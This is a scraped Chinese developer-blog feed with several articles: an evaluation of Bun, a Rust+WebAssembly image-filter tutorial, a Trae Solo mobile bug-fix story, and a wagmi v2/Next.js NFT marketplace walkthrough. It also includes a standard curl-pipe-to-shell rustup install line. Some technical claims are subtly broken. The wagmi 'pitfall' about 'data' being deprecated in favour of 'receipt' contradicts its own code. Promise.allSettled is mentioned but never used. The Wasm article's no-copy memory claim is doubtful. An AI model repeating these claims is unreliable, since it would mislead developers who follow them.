阅读视图

发现新文章,点击刷新页面。

Bun 能上生产吗?我的实战结论

前段时间,不是看了 Cloude Code 源码嘛,里边用到 Bun。之前也听说过,但一直没有尝试过。还听到有同事自己也在用,所以就勾起我想好好熟悉一下 Bun。

于是,我给自己定了个小目标:把 Bun 从“听说很快”练到“我知道它哪里快、哪里会翻车、该怎么用”

然后我就做了一个 10 章的小项目,从 hello world 一路打到 runtime、http、sqlite、测试、websocket 和最终小项目。

项目地址先放这里:
👉 bun-learning-journey

这篇文章我想聊三件事:

  1. Bun 到底是什么,我为什么愿意花时间系统练一遍
  2. Bun 为啥会比 Node / Deno 给人的“体感更快”
  3. Bun 现在市场使用率和成熟度到底怎么样,能不能上生产

我为什么做这个项目

我最开始对 Bun 的印象就一句话:“快,但是不稳”

这种印象很容易停留在口水战里,所以我干脆用项目把它拆开。

这个仓库我按学习路径做成了 10 章:

  • 01-hello:最小启动
  • 02-runtime:顶层 await、Bun.envBun.sleep
  • 03-package-managerbun install、脚本执行
  • 04-http-serverBun.serve + REST
  • 05-file-ioBun.file / Bun.write
  • 06-sqlitebun:sqlite 做 CRUD 和分页/JOIN
  • 07-testingbun:test + mock + coverage
  • 08-bundlerBun.build + splitting + define
  • 09-websocket:实时聊天(房间、私聊、输入中、SQLite 持久化)
  • 10-final-project:收口做完整小应用

做完之后我的结论是:
Bun 不是“银弹”,但它确实是我近两年在 JS 侧感受到“开发链路最短”的工具。

Bun 到底快在哪

很多文章只说“Bun 很快”,但不说机制。我按我这次实操的体感,总结成 5 点:

1)启动快:运行时和转译链路很短

Bun 基于 JavaScriptCore,启动延迟很低;官方文档也一直强调它的启动速度优势。

我在本地最直观的感受是:跑小脚本、跑工具脚本、跑测试时,“按下回车到看到输出”的时间明显短。
(官方文档里也给了 bun vs node 的启动对比)Bun Runtime 文档

image.png

2)少进程、少拼装:一个二进制干很多事

Node 生态常见链路是:Node + npm/pnpm + tsx/ts-node + jest/vitest + bundler

Bun 把 runtime / package manager / test runner / bundler 集成在一起,少了很多工具间切换和冷启动。

这个在中小项目里,体感加速非常明显

3)内置能力多,减少第三方依赖

我在练习里大量用到这些内置能力:

  • Bun.serve
  • Bun.file / Bun.write
  • bun:sqlite
  • bun:test
  • Bun.build

这意味着我不用先装一堆包再拼接脚手架,项目从“搭环境”到“写业务”的时间被压缩了。

4)包管理很激进,安装速度很顶

很多同学第一次感知 Bun,都是 bun install

它在缓存和链接策略上做得比较激进,安装速度确实常常比 npm 快一截。
(具体倍率和场景差异很大,别迷信单次 benchmark。)

5)Web 场景优化明显(HTTP / WebSocket)

我在第 4 章和第 9 章写 HTTP + WS 时,性能和 API 设计都很顺手。

尤其 Bun.serve + pub/sub 的 WebSocket 路线,代码量很少就能做出完整聊天室。

市场使用率:现在到底在哪个阶段

我尽量不“吹”,就说我看到的事实和判断。

先说结论

  • Node 仍然是绝对主流,这一点没有争议。
  • Bun 在快速增长,尤其在新项目、工具链、CLI、边缘服务里越来越常见。
  • Bun 更像“增量替换”而不是“一夜替代”:先从 bun installbun test、工具脚本开始替换,再逐步评估 runtime 迁移。

公开信号(截至我写文时)

  • npm 上 bun 包周下载量在百万级(我看到的是约 138 万/周npm 包页面
  • GitHub 仓库 star 大约 89k+(增长一直比较快)GitHub 仓库

我自己的理解:
这两个数字说明 Bun 已经过了“玩具期”,但距离 Node 那种“企业默认项”还有距离。
所以我会把它定义为:“可生产,但要分场景上线”

我建议怎么用 Bun(实战向)

如果你在团队里推动,我建议按这个顺序:

  1. 低风险切入:先用 bun installbun test、脚本执行
  2. 服务侧试点:挑一个中小 API 服务用 Bun.serve
  3. 数据库场景验证:试 bun:sqlite 或你现有驱动兼容性
  4. CI 加回归:覆盖 Linux / macOS,补关键链路测试
  5. 最后再谈全量迁移:尤其是复杂 Node 历史项目,不要一刀切

我这个项目能帮你什么

如果你想系统练 Bun,我这个仓库就是按“从入门到可落地”设计的:

👉 github.com/RainyNight9…

你可以直接这样用:

  • 0110 按顺序跑
  • 每章先看 README,再看 index.ts
  • 我把很多练习都补成了可运行实现(不是只给题目)

如果你已经会 Node,这个项目大概率能帮你在 1~2 天内建立 Bun 的完整心智模型。

最后的态度:我会继续用吗?

会,而且会继续扩大使用范围。

但我的策略不是“全换”,而是有节奏地换

  • 新项目优先考虑 Bun
  • 老项目我可能就动了,稳定第一,如有真实的需要场景,再切换
  • 性能敏感、工具链痛点明显的地方优先上

一句话总结:
Bun 不只是“快”,更值钱的是它把 JavaScript 工具链做短了。
而“链路变短”,通常就是工程效率真正提升的开始。

你的前端滤镜慢得像PPT?用Rust+WebAssembly,一秒处理4K图

你给网页加了个“复古滤镜”功能,结果一拖动滑块,页面直接卡死。用户点一下,风扇狂转,手机发烫。今天我们用 Rust + WebAssembly 写一个图片滤镜,让图像处理速度飞起来。原来C++能做的事,Rust也能做,而且更安全、更简单。

前言

纯 JS 处理图像有多慢?假设你要把一张 4K 图片(约 8 百万像素)转成黑白,每个像素都要计算 R、G、B 的平均值。JS 需要遍历所有像素,做 2400 万次运算。这在现代设备上可能还要 100 毫秒,但一旦加上更复杂的滤镜(高斯模糊、边缘检测),帧率直接掉到个位数。

WebAssembly 的出现,让浏览器能以接近原生的速度执行代码。而 Rust 凭借零成本抽象和内存安全,成了写 Wasm 的首选语言。今天我们就来实战:用 Rust 写一个图像灰度滤镜,编译成 Wasm,然后在网页上让用户拖拽实时预览。全程可运行,不画饼。

一、为什么用 Rust 写 Wasm,而不是 C++?

  • 工具链友好wasm-pack 一键打包,自动生成 JS 胶水代码和 TypeScript 类型定义。
  • 内存安全:不用担心悬垂指针、缓冲区溢出,Rust 编译器帮你查。
  • 体积小:默认优化下,一个简单的滤镜函数可能只有几 KB。
  • 社区活跃:前端工具链(SWC、Biome)都用 Rust,生态会越来越好。

二、环境准备

你需要安装 Rust(curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh)和 wasm-packcargo install wasm-pack)。

创建一个新项目:

cargo new --lib image-filter
cd image-filter

编辑 Cargo.toml

[package]
name = "image-filter"
version = "0.1.0"
edition = "2021"

[lib]
crate-type = ["cdylib", "rlib"]

[dependencies]
wasm-bindgen = "0.2"

三、写一个灰度滤镜

src/lib.rs 中:

use wasm_bindgen::prelude::*;

// 将 Rust 函数暴露给 JS
#[wasm_bindgen]
pub fn grayscale(data: &mut [u8], width: u32, height: u32) {
    // data 是 RGBA 像素数组,每个像素 4 个字节:R, G, B, A
    for pixel in data.chunks_exact_mut(4) {
        let r = pixel[0] as u32;
        let g = pixel[1] as u32;
        let b = pixel[2] as u32;
        // 灰度公式:0.299*R + 0.587*G + 0.114*B
        let gray = ((r * 299 + g * 587 + b * 114) / 1000) as u8;
        pixel[0] = gray;
        pixel[1] = gray;
        pixel[2] = gray;
        // alpha 不变
    }
}

这个函数会直接修改原数组,没有内存拷贝,效率极高。

四、编译成 Wasm

wasm-pack build --target web

输出在 pkg/ 目录,包含 .wasm 文件、JS 绑定和 TypeScript 类型。

五、在网页中使用

创建一个 index.html

<!DOCTYPE html>
<html>
<head>
    <title>Rust Wasm 图像滤镜</title>
    <style>
        canvas { border: 1px solid #ccc; max-width: 100%; }
        .container { display: flex; gap: 20px; flex-wrap: wrap; }
        button { margin-top: 10px; padding: 8px 16px; }
    </style>
</head>
<body>
    <h1>Rust + WebAssembly 实时灰度滤镜</h1>
    <input type="file" id="upload" accept="image/*">
    <div class="container">
        <div>
            <canvas id="original" width="400" height="400"></canvas>
            <div>原图</div>
        </div>
        <div>
            <canvas id="filtered" width="400" height="400"></canvas>
            <div>灰度滤镜(Rust Wasm)</div>
        </div>
    </div>
    <button id="apply">应用滤镜</button>

    <script type="module">
        import init, { grayscale } from './pkg/image_filter.js';

        async function run() {
            await init(); // 加载 Wasm

            const upload = document.getElementById('upload');
            const originalCanvas = document.getElementById('original');
            const filteredCanvas = document.getElementById('filtered');
            const applyBtn = document.getElementById('apply');
            let originalImageData = null;

            upload.addEventListener('change', (e) => {
                const file = e.target.files[0];
                if (!file) return;
                const img = new Image();
                img.onload = () => {
                    // 绘制原图
                    originalCanvas.width = img.width;
                    originalCanvas.height = img.height;
                    filteredCanvas.width = img.width;
                    filteredCanvas.height = img.height;
                    const ctx = originalCanvas.getContext('2d');
                    ctx.drawImage(img, 0, 0);
                    originalImageData = ctx.getImageData(0, 0, img.width, img.height);
                    // 默认显示原图到右侧
                    applyFilter();
                };
                img.src = URL.createObjectURL(file);
            });

            function applyFilter() {
                if (!originalImageData) return;
                // 复制图像数据(避免修改原图)
                const dataCopy = new Uint8ClampedArray(originalImageData.data);
                const width = originalImageData.width;
                const height = originalImageData.height;
                // 调用 Rust 函数,直接修改 dataCopy
                grayscale(dataCopy, width, height);
                // 显示到右侧 canvas
                const imageData = new ImageData(dataCopy, width, height);
                const ctx = filteredCanvas.getContext('2d');
                ctx.putImageData(imageData, 0, 0);
            }

            applyBtn.addEventListener('click', applyFilter);
        }

        run();
    </script>
</body>
</html>

注意:pkg 目录需要在一个静态服务器下运行,比如 npx http-server。直接打开 HTML 会因 CORS 或跨域问题无法加载 Wasm。

六、效果实测

选择一个高分辨率图片,点击“应用滤镜”。你会发现几乎是瞬间完成——因为 Rust 循环编译成 Wasm 后,速度比纯 JS 循环快 5-10 倍。即使 4K 图片,也感觉不到延迟。

如果想对比 JS 版本,可以用同样的灰度算法写一个纯 JS 函数,你会明显感受到卡顿(尤其是拖动滑块实时调整时)。

七、进阶:让滑块实时预览

applyBtn 换成 range slider,监听 input 事件,每帧都调用 grayscale。由于 Wasm 够快,可以做到 60fps 实时调参。

const intensitySlider = document.getElementById('intensity');
intensitySlider.addEventListener('input', () => {
    const val = parseFloat(intensitySlider.value);
    // 将强度作为参数传给 Rust(需要修改 Rust 函数,增加亮度系数)
    // 略...
});

你甚至可以实现更复杂的滤镜(模糊、边缘检测、油画效果),只要把算法用 Rust 实现,其余和灰度类似。

八、生产环境注意事项

  • 内存共享:上面例子是把 Uint8ClampedArray 传给 Rust,wasm-bindgen 会自动共享内存,不需要拷贝。
  • 大图处理:尽量用 ImageBitmap 和 OffscreenCanvas,避免阻塞主线程。Wasm 本身是在主线程跑的,除非你用 Worker。
  • 体积优化wasm-pack build --release 可以大幅减小体积。还可以用 wasm-opt 进一步优化。
  • 浏览器兼容:所有现代桌面和移动浏览器都支持 Wasm。IE 已死,放心用。

九、总结:Rust + Wasm 是前端的“涡轮增压”

  • 计算密集型任务(图像处理、音视频编解码、物理模拟)用 Rust 写 Wasm,性能接近原生。
  • 开发体验好:wasm-pack 生成开箱即用的 JS 模块。
  • 适合替换现有 JS 中的性能瓶颈,而不是重写整个应用。

下次老板让你加个“实时滤镜”,别再写三重循环的 JS 了。用 Rust,一秒处理 4K 图,用户只会觉得你的网站“好丝滑”。

基于 Trae Solo 移动办公修复 Vue3 前端服务问题

问题发现

2023年10月24日 14:35 (UTC+8)

📝 问题说明

在项目即将发版的最后阶段,测试团队反馈线上预发布环境的前端页面出现白屏现象,具体表现为用户登录后,主控制台无法加载,控制台报错 Uncaught TypeError: Cannot read properties of undefined (reading 'offsetWidth')

由于该项目采用 Vue3 + Vite 架构,且问题仅在生产构建后的环境中出现,本地开发环境运行正常。此时核心前端开发人员正在外出差,仅携带一部平板设备,无法立即使用传统的 IDE 进行复杂的本地调试和构建排查。

🔍 问题分析

通过远程查看线上环境的 Source Map 和错误堆栈,初步分析如下:

构建差异:本地 dev 模式正常,build 后异常,推测是 Vite 在进行 Tree-shaking 或代码压缩时,处理了某些未正确引入的第三方组件库变量。 生命周期时序:报错信息 offsetWidth 通常与 DOM 元素挂载有关。分析代码发现,某个 ECharts 图表组件在 onMounted 钩子中尝试访问父级容器的宽度,但由于 Vue3 的 Teleport 组件配置不当,导致在该时刻 DOM 节点尚未真实渲染到文档流中。 环境依赖:该问题需要重新调整 Vite 配置文件 (vite.config.js) 并修改组件逻辑,需要完整的 Node.js 环境来重新构建和验证。

🛠️ 如何使用 Trae Solo 移动端远程修复问题

在无法使用传统 PC 开发环境的情况下,通过 Trae Solo 移动办公工具进行紧急修复的步骤如下:

第一步:连接云端开发环境

打开 Trae Solo 移动端应用,利用其内置的 远程终端 和 云端桌面 功能。通过安全网关连接至公司内网的开发服务器。Trae Solo 提供的低延迟网络通道确保了在 4G/5G 网络下也能流畅操作命令行。

第二步:代码定位与诊断

利用 Trae Solo 集成的 AI 代码助手,在移动端输入自然语言指令:

"查找项目中使用 ECharts 且涉及 offsetWidth 计算的 Vue3 组件。"

Trae Solo 迅速定位到 src/components/DashboardChart.vue 文件。通过移动端的代码查看器,确认了问题代码段:


// 问题代码
const chartDom = document.getElementById('chart');
const myChart = echarts.init(chartDom); // chartDom 可能为 null

第三步:利用 AI 辅助修复

在 Trae Solo 的编辑模式下,选中问题代码,使用 "Fix with AI" 功能。输入提示词:

"修复 Vue3 组件在 mounted 时 DOM 未渲染完成的报错,增加空值检查。"

Trae Solo 自动生成了修复后的代码:


// 修复后代码

<template>
  <div ref="chartRef" style="width: 100%; height: 400px;"></div>
</template>

<script setup>
import { ref, onMounted, onUnmounted } from 'vue';
import * as echarts from 'echarts';

const chartRef = ref(null);
let myChart = null;

onMounted(() => {
  if (chartRef.value) {
    myChart = echarts.init(chartRef.value);
    myChart.setOption({
      // 你的配置
    });
  }
});

onUnmounted(() => {
  myChart?.dispose(); // 销毁实例
});
</script>

在移动端确认修改并保存。

d6cbe233c8d27006aa6d74366f1ccc32.jpg

第四步:远程构建与验证

通过 Trae Solo 的浮窗终端执行构建命令:

npm run build

构建成功后,使用 Trae Solo 的文件管理功能将构建产物上传至测试服务器。

第五步:结果确认

刷新预发布环境页面,控制台报错消失,页面正常渲染,问题修复完成。全程无需打开笨重的笔记本电脑。

📊 总结:使用 Trae Solo 修复问题的优缺点

优点

极致的移动性:打破了物理空间的限制,在出差、通勤等无 PC 场景下也能处理紧急线上故障,极大地提高了响应速度。 AI 赋能提效:集成的 AI 助手非常适合移动端操作,减少了在小屏幕上敲击复杂代码的痛苦,能快速生成修复逻辑。 安全合规:通过 Trae Solo 连接内网服务器,代码不落盘(存储在本地移动设备),避免了敏感代码通过微信等不安全渠道传输的风险。

缺点

操作体验受限:受限于移动设备屏幕尺寸,进行复杂的代码对比或多文件重构时,视野不如 PC 端广阔,操作效率略低。 网络依赖强:远程构建和文件传输严重依赖网络稳定性,若处于信号盲区,操作可能出现延迟或中断。 复杂调试困难:虽然可以修改代码,但在移动端进行复杂的断点调试仍不如 PC 端的浏览器开发者工具直观便捷。

总结:Trae Solo 为开发者提供了一个可靠的“口袋开发环境”,在应对 Vue3 前端服务的紧急修复场景中,它不仅是一个应急工具,更是移动办公时代提升开发者灵活性的重要利器。

用 wagmi v2 和 Next.js 14 硬扛 NFT 市场前端:从合约调用失败到批量上架,我踩了这些坑

背景

上个月,团队接了一个 NFT 市场的前端单子,要求用 Next.js 14 的 App Router 搭,后端合约是 Solidity 写的,已经部署到 Sepolia 测试网。我的任务就是实现用户连接钱包、查看自己持有的 NFT、选择上架(挂单)、以及购买别人挂单的 NFT。

听起来很常规对吧?我当时也觉得,wagmi v2 都出了,RainbowKit 也有现成的组件,应该很快能搞定。结果我一头扎进去,整整两天时间都耗在了“合约调用失败”和“签名不通过”这两个坑里。后来发现,问题出在 wagmi v2 的 API 变化、EIP-712 签名的处理方式,以及 Next.js 服务端渲染时对 Web3 库的兼容性上。

这篇文章,我就把自己踩过的坑、用的笨办法、最终怎么跑通的,全部写出来。如果你也在用 wagmi v2 做 NFT 市场,或者准备上 Next.js 14,希望能帮你少走弯路。

问题分析

最初的思路

我一开始的想法很简单:用 RainbowKit 做钱包连接,用 wagmi 的 useWriteContract 直接调合约的 listItem 方法,把 NFT 上架。合约那边我已经拿到了 ABI,上架函数签名是 listItem(address nftAddress, uint256 tokenId, uint256 price)

代码大概长这样:

// 最初的错误写法
const { writeContract } = useWriteContract()

const handleListItem = async () => {
  writeContract({
    address: MARKETPLACE_ADDRESS,
    abi: marketplaceABI,
    functionName: 'listItem',
    args: [nftAddress, tokenId, price],
  })
}

看起来没问题吧?但点击按钮后,钱包弹出了 MetaMask 的交易确认,我点了确认,然后...交易一直 pending,最后直接 revert 了。

为什么行不通

我打开浏览器的控制台,发现 wagmi 抛了一个错误:

ContractFunctionExecutionError: The contract function "listItem" reverted with the following reason: "ERC721: transfer caller is not owner nor approved"

这个错误很经典:合约在执行 safeTransferFrom 的时候,发现调用者(也就是我当前的钱包地址)并没有被授权转移这个 NFT。我的合约里确实需要先 approve 市场合约,然后才能 listItem

但问题在于:wagmi v2 的 useWriteContract 默认会把当前连接的 account 作为 from 地址,而 listItem 内部会检查 msg.sender 是否拥有该 NFT 的转移权限。我虽然在前端调用了 approve,但因为交易是异步的,approve 还没被确认,我就立刻调了 listItem,导致合约认为我没有授权。

当时我就踩了这个坑:没有做交易等待和状态检查

排查过程

我花了半天时间,把交易流程拆成两步:

  1. 先调用 ERC721 的 approve 方法,授权市场合约管理这个 NFT。
  2. approve 交易被确认后,再调用市场合约的 listItem

但这样又带来一个新问题:用户需要签两次 MetaMask 交易,体验很差。而且如果用户在第一步授权后、第二步上架前刷新了页面,授权就白做了。

后来我想到可以用 useWaitForTransactionReceipt 来监听交易状态,但 wagmi v2 的 API 变了,useWaitForTransactionReceipt 返回的是 data 而不是 receipt。我一开始没看文档,直接按 v1 的写法来,结果一直拿不到交易哈希。

// 错误的写法(v1 风格)
const { data } = useWaitForTransactionReceipt({
  hash: txHash, // v2 里这个参数叫 hash,但返回结构变了
})

正确的做法是:

// wagmi v2 的正确写法
const { data: receipt, isLoading, isError } = useWaitForTransactionReceipt({
  hash: txHash,
})

receipt 才是交易收据对象,data 在 v2 里已经被废弃了。这个细节让我多花了两个小时。

核心实现

1. 搭建基本项目结构和钱包连接

我用的技术栈是 Next.js 14 + wagmi v2 + RainbowKit。首先创建项目:

npx create-next-app@latest nft-marketplace --typescript --tailwind --app
cd nft-marketplace
npm install wagmi viem @rainbow-me/rainbowkit

然后在 app/providers.tsx 里配置 wagmi 和 RainbowKit:

'use client'

import { WagmiProvider, createConfig, http } from 'wagmi'
import { sepolia } from 'wagmi/chains'
import { RainbowKitProvider, getDefaultConfig } from '@rainbow-me/rainbowkit'
import { QueryClient, QueryClientProvider } from '@tanstack/react-query'
import '@rainbow-me/rainbowkit/styles.css'

const config = getDefaultConfig({
  appName: 'NFT Marketplace',
  projectId: process.env.NEXT_PUBLIC_WALLET_CONNECT_PROJECT_ID!, // 需要去 WalletConnect 申请
  chains: [sepolia],
  transports: {
    [sepolia.id]: http('https://sepolia.infura.io/v3/YOUR_INFURA_KEY'),
  },
})

const queryClient = new QueryClient()

export function Providers({ children }: { children: React.ReactNode }) {
  return (
    <WagmiProvider config={config}>
      <QueryClientProvider client={queryClient}>
        <RainbowKitProvider>
          {children}
        </RainbowKitProvider>
      </QueryClientProvider>
    </WagmiProvider>
  )
}

注意这个细节'use client' 是必须的,因为 wagmi 和 RainbowKit 都是客户端组件,不能在服务端渲染。Next.js 14 的 App Router 默认是服务端组件,所以必须用 'use client' 包裹。

然后在 app/layout.tsx 里引入:

import { Providers } from './providers'

export default function RootLayout({
  children,
}: {
  children: React.ReactNode
}) {
  return (
    <html lang="en">
      <body>
        <Providers>{children}</Providers>
      </body>
    </html>
  )
}

2. 实现 NFT 上架功能(含 EIP-712 签名)

我后来决定改用 EIP-712 离线签名 的方式来实现上架,这样用户只需要签一条消息(不需要 gas),然后由后端或者前端直接提交交易。这能避免前面说的“先授权再上架”的糟糕体验。

合约那边支持了 EIP-712 的 createListing 函数,接受一个签名和一个 Listing 结构体。前端需要构建 domaintypesvalue,然后用 wagmi 的 signTypedData 来签名。

这里有个坑:wagmi v2 的 signTypedData 返回的是 0x 开头的签名,而合约那边期望的是 bytes 类型。如果你直接用 signTypedData 的结果,合约会校验失败,因为签名格式不对。

我排查了半天,发现是因为 wagmi v2 默认使用了 viemsignTypedData,它返回的是 0x 前缀的 hex 字符串。但合约接收的是 bytes,在 Solidity 里 bytesstring 是不同的。正确的做法是:不要对签名做任何处理,直接传 0x 开头的字符串给合约,因为 viemencodeFunctionData 会自动把它转成 bytes

完整的上架逻辑如下:

// app/components/ListItem.tsx
'use client'

import { useAccount, useSignTypedData, useWriteContract, useWaitForTransactionReceipt } from 'wagmi'
import { useState } from 'react'
import { marketplaceABI, MARKETPLACE_ADDRESS } from '@/lib/contract'
import { parseEther } from 'viem'

export function ListItem({ nftAddress, tokenId }: { nftAddress: string; tokenId: string }) {
  const { address } = useAccount()
  const [price, setPrice] = useState('')
  const [txHash, setTxHash] = useState<`0x${string}` | undefined>(undefined)

  const { signTypedDataAsync } = useSignTypedData()
  const { writeContractAsync } = useWriteContract()

  // 监听交易确认
  const { isLoading: isConfirming, isSuccess } = useWaitForTransactionReceipt({
    hash: txHash,
  })

  const handleList = async () => {
    if (!address || !price) return

    // 1. 构建 EIP-712 签名数据
    const domain = {
      name: 'NFTMarketplace',
      version: '1',
      chainId: 11155111, // Sepolia
      verifyingContract: MARKETPLACE_ADDRESS,
    }

    const types = {
      Listing: [
        { name: 'seller', type: 'address' },
        { name: 'nftAddress', type: 'address' },
        { name: 'tokenId', type: 'uint256' },
        { name: 'price', type: 'uint256' },
        { name: 'deadline', type: 'uint256' },
      ],
    }

    const deadline = Math.floor(Date.now() / 1000) + 3600 // 1小时后过期
    const value = {
      seller: address,
      nftAddress: nftAddress as `0x${string}`,
      tokenId: BigInt(tokenId),
      price: parseEther(price),
      deadline: BigInt(deadline),
    }

    // 2. 用户签名(不需要 gas)
    const signature = await signTypedDataAsync({
      domain,
      types,
      primaryType: 'Listing',
      message: value,
    })

    // 3. 调用合约的 createListing
    const hash = await writeContractAsync({
      address: MARKETPLACE_ADDRESS,
      abi: marketplaceABI,
      functionName: 'createListing',
      args: [value, signature],
    })

    setTxHash(hash)
  }

  return (
    <div>
      <input
        type="text"
        value={price}
        onChange={(e) => setPrice(e.target.value)}
        placeholder="输入价格 (ETH)"
      />
      <button onClick={handleList} disabled={isConfirming}>
        {isConfirming ? '上架中...' : '上架 NFT'}
      </button>
      {isSuccess && <p>上架成功!交易哈希:{txHash}</p>}
    </div>
  )
}

3. 实现购买 NFT 功能

购买逻辑相对简单,因为用户只需要调用市场合约的 buyItem 函数,并附上 ETH(如果合约要求支付)。但这里也有一个坑:wagmi v2 的 useWriteContract 默认不携带 value,如果你需要发送 ETH,必须显式设置 value 参数。

// app/components/BuyNFT.tsx
'use client'

import { useWriteContract, useWaitForTransactionReceipt } from 'wagmi'
import { marketplaceABI, MARKETPLACE_ADDRESS } from '@/lib/contract'
import { parseEther } from 'viem'
import { useState } from 'react'

interface Listing {
  listingId: string
  price: string
  seller: string
}

export function BuyNFT({ listing }: { listing: Listing }) {
  const [txHash, setTxHash] = useState<`0x${string}` | undefined>(undefined)

  const { writeContractAsync } = useWriteContract()
  const { isLoading, isSuccess } = useWaitForTransactionReceipt({
    hash: txHash,
  })

  const handleBuy = async () => {
    const hash = await writeContractAsync({
      address: MARKETPLACE_ADDRESS,
      abi: marketplaceABI,
      functionName: 'buyItem',
      args: [BigInt(listing.listingId)],
      value: parseEther(listing.price), // 这里必须传 value
    })
    setTxHash(hash)
  }

  return (
    <div>
      <p>卖家:{listing.seller.slice(0, 6)}...{listing.seller.slice(-4)}</p>
      <p>价格:{listing.price} ETH</p>
      <button onClick={handleBuy} disabled={isLoading}>
        {isLoading ? '购买中...' : '立即购买'}
      </button>
      {isSuccess && <p>购买成功!</p>}
    </div>
  )
}

注意这个细节value 的单位是 wei,所以要用 parseEther 把 ETH 字符串转成 BigInt。如果你直接传字符串,合约会报错说 msg.value 不足。

4. 查询并展示所有挂单

为了展示市场上的 NFT 列表,我需要从合约读取事件或者调用 getAllListings 函数。这里我选择用 wagmi 的 useReadContract 来读取合约状态。

但有个问题:useReadContract 是同步的(在 React 里是异步的,但返回值是固定的),你不能在它返回之前做条件渲染。我一开始用 if (!data) return <Loading />,结果页面一直 loading,因为 useReadContract 在服务端渲染时会返回 undefined

正确的做法:用 isFetchingisFetched 来判断状态。

// app/components/Listings.tsx
'use client'

import { useReadContract } from 'wagmi'
import { marketplaceABI, MARKETPLACE_ADDRESS } from '@/lib/contract'
import { BuyNFT } from './BuyNFT'

interface Listing {
  listingId: bigint
  seller: string
  nftAddress: string
  tokenId: bigint
  price: bigint
  isActive: boolean
}

export function Listings() {
  const { data, isFetching, isFetched, error } = useReadContract({
    address: MARKETPLACE_ADDRESS,
    abi: marketplaceABI,
    functionName: 'getAllListings',
    args: [],
  })

  if (isFetching) return <p>加载中...</p>
  if (error) return <p>加载失败:{error.message}</p>
  if (!isFetched || !data) return <p>暂无数据</p>

  const listings = data as Listing[]

  return (
    <div>
      {listings
        .filter((l) => l.isActive)
        .map((listing) => (
          <div key={listing.listingId.toString()}>
            <p>NFT 地址:{listing.nftAddress}</p>
            <p>Token ID:{listing.tokenId.toString()}</p>
            <p>价格:{listing.price.toString()} wei</p>
            <BuyNFT
              listing={{
                listingId: listing.listingId.toString(),
                price: listing.price.toString(),
                seller: listing.seller,
              }}
            />
          </div>
        ))}
    </div>
  )
}

5. 处理批量上架

用户可能想一次上架多个 NFT,但合约只支持单个 createListing。我的方案是:Promise.all 并行签名,然后逐个提交交易。但这里要注意,signTypedDataAsync 每次调用都会弹 MetaMask 签名窗口,用户必须点很多次确认。

更好的做法:让用户只签一次,把多个 listing 打包成一个数组签名。但这需要合约支持批量签名,如果合约不支持,就只能用 Promise.allSettled 来处理部分失败的情况。

// 批量上架(逐个签名,逐个提交)
const handleBatchList = async (items: { nftAddress: string; tokenId: string; price: string }[]) => {
  const results = []
  for (const item of items) {
    try {
      const value = { seller: address, nftAddress: item.nftAddress, tokenId: BigInt(item.tokenId), price: parseEther(item.price), deadline: BigInt(deadline) }
      const signature = await signTypedDataAsync({ domain, types, primaryType: 'Listing', message: value })
      const hash = await writeContractAsync({ address: MARKETPLACE_ADDRESS, abi: marketplaceABI, functionName: 'createListing', args: [value, signature] })
      results.push({ tokenId: item.tokenId, hash, status: 'pending' })
    } catch (err) {
      results.push({ tokenId: item.tokenId, error: err, status: 'failed' })
    }
  }
  return results
}

这里有个坑:如果用户中途取消了签名,signTypedDataAsync 会抛出一个 UserRejectedRequestError,你必须用 try/catch 捕获,否则整个 Promise.allSettled 都会失败。

完整代码

由于篇幅限制,这里只给出核心组件的完整代码。完整的项目结构如下:

nft-marketplace/
├── app/
│   ├── layout.tsx
│   ├── page.tsx
│   └── providers.tsx
├── components/
│   ├── ListItem.tsx
│   ├── BuyNFT.tsx
│   └── Listings.tsx
├── lib/
│   └── contract.ts
└── package.json

lib/contract.ts 内容:

import { Abi } from 'viem'

export const MARKETPLACE_ADDRESS = '0xYourMarketplaceContractAddress'

export const marketplaceABI: Abi = [
  // 这里放合约 ABI,我直接从 Hardhat 编译产物复制过来
  {
    type: 'function',
    name: 'createListing',
    inputs: [
      { name: 'listing', type: 'tuple', components: [
        { name: 'seller', type: 'address' },
        { name: 'nftAddress', type: 'address' },
        { name: 'tokenId', type: 'uint256' },
        { name: 'price', type: 'uint256' },
        { name: 'deadline', type: 'uint256' },
      ]},
      { name: 'signature', type: 'bytes' },
    ],
    outputs: [],
    stateMutability: 'nonpayable',
  },
  {
    type: 'function',
    name: 'buyItem',
    inputs: [{ name: 'listingId', type: 'uint256' }],
    outputs: [],
    stateMutability: 'payable',
  },
  {
    type: 'function',
    name: 'getAllListings',
    inputs: [],
    outputs: [{ name: '', type: 'tuple[]', components: [
      { name: 'listingId', type: 'uint256' },
      { name: 'seller', type: 'address' },
      { name: 'nftAddress', type: 'address' },
      { name: 'tokenId', type: 'uint256' },
      { name: 'price', type: 'uint256' },
      { name: 'isActive', type: 'bool' },
    ]}],
    stateMutability: 'view',
  },
] as const

踩坑记录

  1. wagmi v2 的 useWaitForTransactionReceipt 返回结构变了:v1 返回 { data: receipt },v2 返回 { data: receipt, ... },但 data 字段已废弃,应该用 receipt 变量。我一开始没看文档,直接写 data.transactionHash 报错。

  2. EIP-712 签名格式问题:wagmi v2 的 signTypedData 返回的签名是 0x 开头的 hex 字符串,合约接收 bytes 类型。最初我尝试用 viemhexToBytes 转换,结果合约校验失败。后来发现直接传 0x 字符串给合约的 bytes 参数即可,viem 内部会自动处理。

  3. Next.js 服务端渲染与 wagmi 不兼容:所有用到 wagmi hooks 的组件都必须加 'use client',否则会报 hooks can only be called inside a component 错误。我一开始没注意,把 useReadContract 放在了服务端组件里,导致页面直接白屏。

  4. useWriteContract 不携带 value:购买 NFT 时需要发送 ETH,但 useWriteContract 默认不传 value。我花了半小时排查为什么交易一直失败,最后发现合约要求 msg.value 等于价格,而我没传 value 参数。

  5. 用户取消签名时的错误处理signTypedDataAsync 如果用户取消,会抛出 UserRejectedRequestError,如果不捕获,整个流程会中断。我用 try/catch 捕获后,把失败项记录下来,让用户选择重试。

小结

这次踩坑的核心收获是:wagmi v2 的 API 变化很多,一定要看最新文档;EIP-712 签名要特别注意类型定义和格式;Next.js 14 的 App Router 强制要求所有客户端组件加 'use client'

如果你想继续深挖,可以研究一下 wagmi v2 的 useSimulateContract,它可以在调用前模拟交易,提前发现错误,避免用户浪费 gas。另外,批量签名和批量交易也是 NFT 市场常见的需求,可以看看合约是否支持 multicall

希望这篇文章能帮你少走一些弯路。如果你也在做 NFT 市场,欢迎留言交流。

JS中模拟函数重载的使用

JavaScript 语言本身不支持传统意义上的函数重载(即像 Java、C++ 那样,同名函数根据参数类型或数量的不同而自动调用不同版本)。在 JS 中,如果定义了多个同名函数,后面的函数会直接覆盖前面的函数。

